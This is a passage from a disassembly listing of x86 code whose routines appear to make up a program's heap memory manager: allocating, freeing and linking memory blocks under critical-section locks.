loc_40175C:				; CODE XREF: sub_40172C+28j
		cmp	ebp, [esi]
		jz	short loc_401767
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_401756


loc_401767:				; CODE XREF: sub_40172C+32j
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_4017CD
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jle	loc_401815
		mov	eax, [esi]
		mov	edx, edi
		sub	edx, [eax+0Ch]
		mov	eax, [esi]
		mov	eax, [eax+8]
		mov	ecx, [esi]
		add	eax, [ecx+0Ch]
		lea	ecx, [esp+28h+var_20]
		call	sub_4013C8
		cmp	[esp+28h+var_20], 0
		jz	short loc_4017CD
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_401218
		cmp	[esp+28h+var_18], 0
		jnz	short loc_40174F
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_401440
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_401867
; ---------------------------------------------------------------------------


loc_4017CD:				; CODE XREF: sub_40172C+40j
					; sub_40172C+6Cj
		lea	ecx, [esp+28h+var_20]
		mov	edx, edi
		mov	eax, ebx
		call	sub_4013C8
		cmp	[esp+28h+var_20], 0
		jz	short loc_401815
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_401218
		cmp	[esp+28h+var_18], 0
		jnz	loc_40174F
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_401440
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_401867
; ---------------------------------------------------------------------------


loc_401815:				; CODE XREF: sub_40172C+47j
					; sub_40172C+B3j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		cmp	ebx, ebp
		jnz	short loc_401860
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jg	short loc_401860
		mov	ecx, [esp+28h+var_28]
		mov	eax, ebp
		mov	edx, edi
		call	sub_401508
		mov	eax, [esp+28h+var_28]
		cmp	dword ptr [eax], 0
		jz	short loc_401867
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		add	[edx+8], eax
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_401867
		mov	eax, [esi]
		call	sub_4011E4
		jmp	short loc_401867
; ---------------------------------------------------------------------------


loc_401860:				; CODE XREF: sub_40172C+F0j
					; sub_40172C+F7j
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx


loc_401867:				; CODE XREF: sub_40172C+9Cj
					; sub_40172C+E7j ...
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40172C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401870	proc near		; CODE XREF: sub_401CF4+5Bp
					; sub_401CF4+6Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		lea	ecx, [eax+3FFFh]
		and	ecx, 0FFFFC000h
		mov	[esp+1Ch+var_1C], ecx
		add	edx, eax
		and	edx, 0FFFFC000h
		mov	[esp+1Ch+var_18], edx
		mov	eax, [esp+1Ch+var_18]
		cmp	eax, [esp+1Ch+var_1C]
		jbe	short loc_4018F9
		mov	ecx, ebx
		mov	edx, [esp+1Ch+var_18]
		sub	edx, [esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		call	sub_4015C8
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, ebx
		mov	eax, offset off_4075E4
		call	sub_401218
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jz	short loc_4018E2
		lea	ecx, [esp+1Ch+var_C]
		mov	edx, [esp+1Ch+var_10]
		mov	eax, ebx
		call	sub_401440
		mov	eax, [esp+1Ch+var_C]
		mov	[esp+1Ch+var_14], eax
		mov	eax, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_10], eax


loc_4018E2:				; CODE XREF: sub_401870+51j
		cmp	[esp+1Ch+var_14], 0
		jz	short loc_4018FD
		lea	edx, [esp+1Ch+var_14]
		mov	eax, offset off_4075E4
		call	sub_4012A0
		jmp	short loc_4018FD
; ---------------------------------------------------------------------------


loc_4018F9:				; CODE XREF: sub_401870+28j
		xor	eax, eax
		mov	[ebx], eax


loc_4018FD:				; CODE XREF: sub_401870+77j
					; sub_401870+87j
		add	esp, 18h
		pop	ebx
		retn
sub_401870	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401904	proc near		; CODE XREF: sub_402160+12p
					; sub_40230C+19p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00402FD4 SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	edx, edx
		push	ebp
		push	offset loc_4019CC
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset dword_4075B4
		call	sub_4010DC	; InitializeCriticalSection
		cmp	ds:byte_407035,	0
		jz	short loc_401933
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_401933:				; CODE XREF: sub_401904+23j
		mov	eax, offset off_4075D4
		call	sub_401180
		mov	eax, offset off_4075E4
		call	sub_401180
		mov	eax, offset off_407610
		call	sub_401180
		push	0FF8h
		push	0
		call	sub_4010BC	; LocalAlloc
		mov	ds:dword_40760C, eax
		cmp	ds:dword_40760C, 0
		jz	short loc_4019AB
		mov	eax, 3


loc_401970:				; CODE XREF: sub_401904+7Ej
		mov	edx, ds:dword_40760C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_401970
		mov	[ebp+var_4], offset aDjdj ; "D�D�"
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ds:dword_407600, eax
		mov	ds:byte_4075AC,	1


loc_4019AB:				; CODE XREF: sub_401904+65j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4019D3


loc_4019B8:				; CODE XREF: sub_401904+CDj
		cmp	ds:byte_407035,	0
		jz	short locret_4019CB
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection

locret_4019CB:				; CODE XREF: sub_401904+BBj
		retn
; ---------------------------------------------------------------------------


loc_4019CC:				; DATA XREF: sub_401904+7o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4019B8
; ---------------------------------------------------------------------------


loc_4019D3:				; DATA XREF: sub_401904+AFo
		mov	al, ds:byte_4075AC
		pop	ecx
		pop	ebp
		retn
sub_401904	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019DC	proc near		; CODE XREF: sub_403A24+37p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		cmp	ds:byte_4075AC,	0
		jz	loc_401AD7
		xor	eax, eax
		push	ebp
		push	offset loc_401AD0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	ds:byte_407035,	0
		jz	short loc_401A10
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_401A10:				; CODE XREF: sub_4019DC+28j
		mov	ds:byte_4075AC,	0
		mov	eax, ds:dword_40760C
		push	eax
		call	sub_4010C4	; LocalFree
		xor	eax, eax
		mov	ds:dword_40760C, eax
		mov	eax, ds:off_4075D4
		mov	[ebp+var_8], eax
		jmp	short loc_401A4E
; ---------------------------------------------------------------------------


loc_401A33:				; CODE XREF: sub_4019DC+7Aj
		push	8000h
		push	0
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		push	eax
		call	sub_4010D4	; VirtualFree
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax


loc_401A4E:				; CODE XREF: sub_4019DC+55j
		mov	eax, offset off_4075D4
		cmp	eax, [ebp+var_8]
		jnz	short loc_401A33
		mov	eax, offset off_4075D4
		call	sub_401180
		mov	eax, offset off_4075E4
		call	sub_401180
		mov	eax, offset off_407610
		call	sub_401180
		mov	eax, ds:dword_4075CC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_401AA5


loc_401A84:				; CODE XREF: sub_4019DC+C7j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_4075CC, eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4010C4	; LocalFree
		mov	eax, ds:dword_4075CC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401A84


loc_401AA5:				; CODE XREF: sub_4019DC+A6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401AD7


loc_401AB2:				; CODE XREF: sub_4019DC+F9j
		cmp	ds:byte_407035,	0
		jz	short loc_401AC5
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection


loc_401AC5:				; CODE XREF: sub_4019DC+DDj
		push	offset dword_4075B4
		call	sub_4010F4	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_401AD0:				; DATA XREF: sub_4019DC+16o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_401AB2
; ---------------------------------------------------------------------------


loc_401AD7:				; CODE XREF: sub_4019DC+Dj
					; DATA XREF: sub_4019DC+D1o
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4019DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401ADC	proc near		; CODE XREF: sub_401C3C+6Bp
					; sub_401CB4+25p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF8h
		cmp	eax, ds:dword_407600
		jnz	short loc_401AF1
		mov	edx, [eax+4]
		mov	ds:dword_407600, edx


loc_401AF1:				; CODE XREF: sub_401ADC+Aj
		mov	edx, [eax+4]
		mov	[esp+0Ch+var_C], edx
		mov	edx, [eax+8]
		cmp	edx, 1000h
		jg	short loc_401B50
		cmp	eax, [esp+0Ch+var_C]
		jnz	short loc_401B1E
		test	edx, edx
		jns	short loc_401B0E
		add	edx, 3


loc_401B0E:				; CODE XREF: sub_401ADC+2Dj
		sar	edx, 2
		mov	eax, ds:dword_40760C
		xor	ecx, ecx
		mov	[eax+edx*4-0Ch], ecx
		jmp	short loc_401B69
; ---------------------------------------------------------------------------


loc_401B1E:				; CODE XREF: sub_401ADC+29j
		test	edx, edx
		jns	short loc_401B25
		add	edx, 3


loc_401B25:				; CODE XREF: sub_401ADC+44j
		sar	edx, 2
		mov	ecx, ds:dword_40760C
		mov	ebx, [esp+0Ch+var_C]
		mov	[ecx+edx*4-0Ch], ebx
		mov	eax, [eax]
		mov	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_8]
		mov	[eax], edx
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_C]
		mov	[eax+4], edx
		jmp	short loc_401B69
; ---------------------------------------------------------------------------


loc_401B50:				; CODE XREF: sub_401ADC+24j
		mov	eax, [eax]
		mov	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_8]
		mov	[eax], edx
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_C]
		mov	[eax+4], edx


loc_401B69:				; CODE XREF: sub_401ADC+40j
					; sub_401ADC+72j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401ADC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401B70	proc near		; CODE XREF: sub_401CF4+Fp
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	edx, ds:off_407610
		mov	[ecx], edx
		jmp	short loc_401B96
; ---------------------------------------------------------------------------


loc_401B7E:				; CODE XREF: sub_401B70+2Dj
		mov	edx, [ecx]
		mov	edx, [edx+8]
		cmp	eax, edx
		jb	short loc_401B90
		mov	ebx, [ecx]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jb	short loc_401BAD


loc_401B90:				; CODE XREF: sub_401B70+15j
		mov	edx, [ecx]
		mov	edx, [edx]
		mov	[ecx], edx


loc_401B96:				; CODE XREF: sub_401B70+Cj
		mov	edx, offset off_407610
		cmp	edx, [ecx]
		jnz	short loc_401B7E
		mov	ds:dword_4075B0, 3
		xor	eax, eax
		mov	[ecx], eax


loc_401BAD:				; CODE XREF: sub_401B70+1Ej
		mov	eax, [ecx]
		pop	edx
		pop	ebx
		retn
sub_401B70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401BB4	proc near		; CODE XREF: sub_401CF4+7Ep
					; sub_401EF4+68p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		mov	[esp+8+var_8], ebx
		cmp	edx, 10h
		jl	short loc_401BD9
		mov	edx, [esp+8+var_8]
		mov	dword ptr [edx], 80000007h
		mov	edx, ecx
		call	sub_401DB0
		pop	edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401BD9:				; CODE XREF: sub_401BB4+10j
		cmp	edx, 4
		jl	short loc_401BED
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	eax, [esp+8+var_8]
		mov	[eax], ecx


loc_401BED:				; CODE XREF: sub_401BB4+28j
		pop	edx
		pop	ebx
		retn
sub_401BB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401BF0	proc near		; CODE XREF: sub_401C14+Dp
					; sub_401EA8+36p ...
		inc	ds:dword_40759C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_4075A0, edx
		call	sub_40230C
		retn
sub_401BF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C14	proc near		; CODE XREF: sub_401CF4+A0p
		cmp	edx, 0Ch
		jl	short loc_401C27
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_401BF0
		retn
; ---------------------------------------------------------------------------


loc_401C27:				; CODE XREF: sub_401C14+3j
		cmp	edx, 4
		jl	short loc_401C36
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx


loc_401C36:				; CODE XREF: sub_401C14+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_401C14	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C3C	proc near		; CODE XREF: sub_401EF4+36p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_401C60
		mov	ds:dword_4075B0, 4


loc_401C60:				; CODE XREF: sub_401C3C+18j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_401C80
		mov	ds:dword_4075B0, 5


loc_401C80:				; CODE XREF: sub_401C3C+38j
		test	byte ptr [ecx],	1
		jz	short loc_401CAE
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		mov	[esp+0Ch+var_C], eax
		mov	eax, [esp+0Ch+var_C]
		cmp	esi, [eax+8]
		jz	short loc_401CA4
		mov	ds:dword_4075B0, 6


loc_401CA4:				; CODE XREF: sub_401C3C+5Cj
		mov	eax, [esp+0Ch+var_C]
		call	sub_401ADC
		add	ebx, esi


loc_401CAE:				; CODE XREF: sub_401C3C+47j
		mov	eax, ebx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401C3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401CB4	proc near		; CODE XREF: sub_401EF4+4Fp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		xor	esi, esi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_401CCF
		and	eax, 7FFFFFFCh
		add	esi, eax
		add	ebx, eax
		mov	eax, [ebx]


loc_401CCF:				; CODE XREF: sub_401CB4+Ej
		test	al, 2
		jnz	short loc_401CEB
		mov	[esp+0Ch+var_C], ebx
		mov	eax, [esp+0Ch+var_C]
		call	sub_401ADC
		mov	eax, [esp+0Ch+var_C]
		mov	eax, [eax+8]
		add	esi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh


loc_401CEB:				; CODE XREF: sub_401CB4+1Dj
		mov	eax, esi
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401CB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401CF4	proc near		; CODE XREF: sub_401DB0+A7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebp, eax
		xor	ebx, ebx
		mov	eax, ebp
		call	sub_401B70
		mov	[esp+1Ch+var_14], eax
		cmp	[esp+1Ch+var_14], 0
		jz	loc_401DA6
		mov	eax, [esp+1Ch+var_14]
		mov	edi, [eax+8]
		mov	eax, edi
		mov	edx, [esp+1Ch+var_14]
		add	eax, [edx+0Ch]
		mov	edx, eax
		lea	ecx, [esi+ebp]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_401D37
		mov	esi, eax
		sub	esi, ebp


loc_401D37:				; CODE XREF: sub_401CF4+3Dj
		mov	eax, ebp
		sub	eax, edi
		cmp	eax, 0Ch
		jge	short loc_401D56
		mov	eax, [esp+1Ch+var_14]
		mov	edx, ebp
		sub	edx, [eax+8]
		add	edx, esi
		mov	ecx, esp
		mov	eax, edi
		call	sub_401870
		jmp	short loc_401D65
; ---------------------------------------------------------------------------


loc_401D56:				; CODE XREF: sub_401CF4+4Aj
		mov	ecx, esp
		mov	edx, esi
		sub	edx, 4
		lea	eax, [ebp+4]
		call	sub_401870


loc_401D65:				; CODE XREF: sub_401CF4+60j
		mov	edi, [esp+1Ch+var_1C]
		test	edi, edi
		jz	short loc_401DA6
		mov	edx, edi
		sub	edx, ebp
		mov	eax, ebp
		call	sub_401BB4
		mov	edx, [esp+1Ch+var_14]
		mov	edx, [edx+8]
		mov	ecx, [esp+1Ch+var_14]
		add	edx, [ecx+0Ch]
		mov	eax, edi
		add	eax, [esp+1Ch+var_18]
		cmp	edx, eax
		jbe	short loc_401D99
		lea	edx, [esi+ebp]
		sub	edx, eax
		call	sub_401C14


loc_401D99:				; CODE XREF: sub_401CF4+99j
		mov	edx, esp
		mov	eax, [esp+1Ch+var_14]
		call	sub_4012A0
		mov	bl, 1


loc_401DA6:				; CODE XREF: sub_401CF4+1Dj
					; sub_401CF4+76j
		mov	eax, ebx
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DB0	proc near		; CODE XREF: sub_401BB4+1Dp
					; sub_402018+EEp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	[esp+14h+var_14], esi
		mov	eax, [esp+14h+var_14]
		mov	[eax+8], ebx
		mov	eax, [esp+14h+var_14]
		add	eax, ebx
		sub	eax, 0Ch
		mov	[eax+8], ebx
		cmp	ebx, 1000h
		jg	short loc_401E4B
		mov	eax, ebx
		test	eax, eax
		jns	short loc_401DDE
		add	eax, 3


loc_401DDE:				; CODE XREF: sub_401DB0+29j
		sar	eax, 2
		mov	edx, ds:dword_40760C
		mov	edx, [edx+eax*4-0Ch]
		mov	[esp+14h+var_10], edx
		cmp	[esp+14h+var_10], 0
		jnz	short loc_401E19
		mov	edx, ds:dword_40760C
		mov	ecx, [esp+14h+var_14]
		mov	[edx+eax*4-0Ch], ecx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		jmp	loc_401EA1
; ---------------------------------------------------------------------------


loc_401E19:				; CODE XREF: sub_401DB0+44j
		mov	eax, [esp+14h+var_10]
		mov	eax, [eax]
		mov	[esp+14h+var_C], eax
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		mov	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx
		jmp	short loc_401EA1
; ---------------------------------------------------------------------------


loc_401E4B:				; CODE XREF: sub_401DB0+23j
		cmp	ebx, 3C00h
		jl	short loc_401E60
		mov	edx, ebx
		mov	eax, esi
		call	sub_401CF4
		test	al, al
		jnz	short loc_401EA1


loc_401E60:				; CODE XREF: sub_401DB0+A1j
		mov	eax, ds:dword_407600
		mov	[esp+14h+var_10], eax
		mov	eax, [esp+14h+var_14]
		mov	ds:dword_407600, eax
		mov	eax, [esp+14h+var_10]
		mov	eax, [eax]
		mov	[esp+14h+var_C], eax
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		mov	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx


loc_401EA1:				; CODE XREF: sub_401DB0+64j
					; sub_401DB0+99j ...
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_401DB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401EA8	proc near		; CODE XREF: sub_401EF4+Fp
					; sub_40230C+11Dp ...
		cmp	ds:dword_407604, 0
		jle	short locret_401EF1
		cmp	ds:dword_407604, 0Ch
		jge	short loc_401EC6
		mov	ds:dword_4075B0, 7
		jmp	short locret_401EF1
; ---------------------------------------------------------------------------


loc_401EC6:				; CODE XREF: sub_401EA8+10j
		mov	eax, ds:dword_407604
		or	eax, 2
		mov	edx, ds:dword_407608
		mov	[edx], eax
		mov	eax, ds:dword_407608
		add	eax, 4
		call	sub_401BF0
		xor	eax, eax
		mov	ds:dword_407608, eax
		xor	eax, eax
		mov	ds:dword_407604, eax

locret_401EF1:				; CODE XREF: sub_401EA8+7j
					; sub_401EA8+1Cj
		retn
sub_401EA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401EF4	proc near		; CODE XREF: sub_401F80+18p
					; sub_401FAC+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_401EA8
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset off_407610
		call	sub_401218
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_401F24
		xor	eax, eax
		jmp	short loc_401F76
; ---------------------------------------------------------------------------


loc_401F24:				; CODE XREF: sub_401EF4+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_401F34
		call	sub_401C3C
		sub	[edi], eax
		add	[edi+4], eax


loc_401F34:				; CODE XREF: sub_401EF4+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_401F4B
		call	sub_401CB4
		add	[edi+4], eax


loc_401F4B:				; CODE XREF: sub_401EF4+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_401F65
		sub	eax, 4
		mov	edx, 4
		call	sub_401BB4
		sub	dword ptr [edi+4], 4


loc_401F65:				; CODE XREF: sub_401EF4+5Ej
		mov	eax, [edi]
		mov	ds:dword_407608, eax
		mov	eax, [edi+4]
		mov	ds:dword_407604, eax
		mov	al, 1


loc_401F76:				; CODE XREF: sub_401EF4+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401EF4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401F80	proc near		; CODE XREF: sub_402018+76p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_401684
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_401FA1
		mov	eax, esp
		call	sub_401EF4
		test	al, al
		jnz	short loc_401FA5


loc_401FA1:				; CODE XREF: sub_401F80+14j
		xor	eax, eax
		jmp	short loc_401FA7
; ---------------------------------------------------------------------------


loc_401FA5:				; CODE XREF: sub_401F80+1Fj
		mov	al, 1


loc_401FA7:				; CODE XREF: sub_401F80+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401F80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401FAC	proc near		; CODE XREF: sub_4024E4+1C3p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_40172C
		cmp	[esp+10h+var_10], 0
		jz	short loc_401FD2
		mov	eax, esp
		call	sub_401EF4
		test	al, al
		jnz	short loc_401FD6


loc_401FD2:				; CODE XREF: sub_401FAC+19j
		xor	eax, eax
		jmp	short loc_401FD8
; ---------------------------------------------------------------------------


loc_401FD6:				; CODE XREF: sub_401FAC+24j
		mov	al, 1


loc_401FD8:				; CODE XREF: sub_401FAC+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401FAC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401FE0	proc near		; CODE XREF: sub_402018+68p
		push	ecx
		mov	edx, esp
		xor	ecx, ecx
		mov	[edx], ecx
		test	eax, eax
		jns	short loc_401FEE
		add	eax, 3


loc_401FEE:				; CODE XREF: sub_401FE0+9j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_402011


loc_401FF8:				; CODE XREF: sub_401FE0+2Fj
		mov	ecx, ds:dword_40760C
		mov	ecx, [ecx+eax*4-0Ch]
		mov	[edx], ecx
		cmp	dword ptr [edx], 0
		jnz	short loc_402011
		inc	eax
		cmp	eax, 401h
		jnz	short loc_401FF8


loc_402011:				; CODE XREF: sub_401FE0+16j
					; sub_401FE0+27j
		mov	eax, [edx]
		pop	edx
		retn
sub_401FE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402018	proc near		; CODE XREF: sub_402160+173p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, eax
		lea	esi, [esp+1Ch+var_14]
		mov	edi, offset dword_407600
		mov	ebp, offset dword_407604


loc_40202F:				; CODE XREF: sub_402018+8Cj
		mov	eax, dword ptr ds:aDjdj+4
		mov	[esi], eax
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jle	loc_4020EC
		mov	eax, [edi]
		mov	[esi], eax
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ebx, eax
		jle	loc_4020EC
		mov	edx, [esi]
		mov	[edx+8], ebx


loc_402057:				; CODE XREF: sub_402018+4Bj
		mov	edx, [esi]
		mov	edx, [edx+4]
		mov	[esi], edx
		mov	edx, [esi]
		cmp	ebx, [edx+8]
		jg	short loc_402057
		mov	edx, [edi]
		mov	[edx+8], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jz	short loc_402076
		mov	eax, [esi]
		mov	[edi], eax
		jmp	short loc_4020EC
; ---------------------------------------------------------------------------


loc_402076:				; CODE XREF: sub_402018+56j
		cmp	ebx, 1000h
		jg	short loc_40208C
		mov	eax, ebx
		call	sub_401FE0
		mov	[esi], eax
		cmp	dword ptr [esi], 0
		jnz	short loc_4020EC


loc_40208C:				; CODE XREF: sub_402018+64j
		mov	eax, ebx
		call	sub_401F80
		test	al, al
		jnz	short loc_4020A1
		xor	eax, eax
